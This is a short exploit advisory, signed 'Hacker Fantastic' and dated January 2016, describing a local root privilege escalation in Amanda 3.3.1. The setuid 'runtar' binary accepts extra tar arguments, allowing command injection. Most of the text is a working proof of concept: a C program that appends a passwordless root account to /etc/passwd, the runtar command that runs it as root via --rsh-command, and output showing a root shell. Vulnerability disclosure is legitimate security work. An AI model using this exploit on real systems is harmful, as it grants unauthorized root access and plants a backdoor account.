Amanda 3.3.1 Local Root Privilege Escalation
Posted on 12 January 2016
AMANDA, the Advanced Maryland Automatic Network Disk Archiver, is a backup solution that allows the IT administrator to set up a single master backup server to back up multiple hosts over network to tape drives/changers or disks or optical media. Amanda uses native utilities and formats (e.g. dump and/or GNU tar) and can back up a large number of servers and workstations running multiple versions of Linux or Unix. A user with backup privs can trivially compromise a client installation. The "runtar" setuid root binary does not check for additional arguments supplied after --create, allowing users to manipulate commands and perform command injection as root. Tested against Amanda 3.3.1. An example is shown below: $ uname -a Linux raspberrypi 3.10.25 #1 Sat Dec 28 20:50:23 EST 2013 armv6l GNU/Linux $ ls -al /usr/lib/amanda/runtar -rwsr-xr-- 1 root backup 9776 Jul 29 2012 /usr/lib/amanda/runtar $ id uid=34(backup) gid=34(backup) groups=34(backup),6(disk),26(tape) $ cat /tmp/x.c #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> int main(){ setreuid(0,0); setregid(0,0); system("echo r00t::0:0::/:/bin/sh >> /etc/passwd"); exit(0); } $ su - r00t No passwd entry for user 'r00t' $ gcc x.c -o x $ /usr/lib/amanda/runtar NOCONFIG tar --create --rsh-command=/tmp/x -vf localhost:/tmp/lol /etc/passwd tar: localhost:/tmp/lol: Cannot open: Input/output error tar: Error is not recoverable: exiting now $ su - r00t # id uid=0(root) gid=0(root) groups=0(root) -- Hacker Fantastic
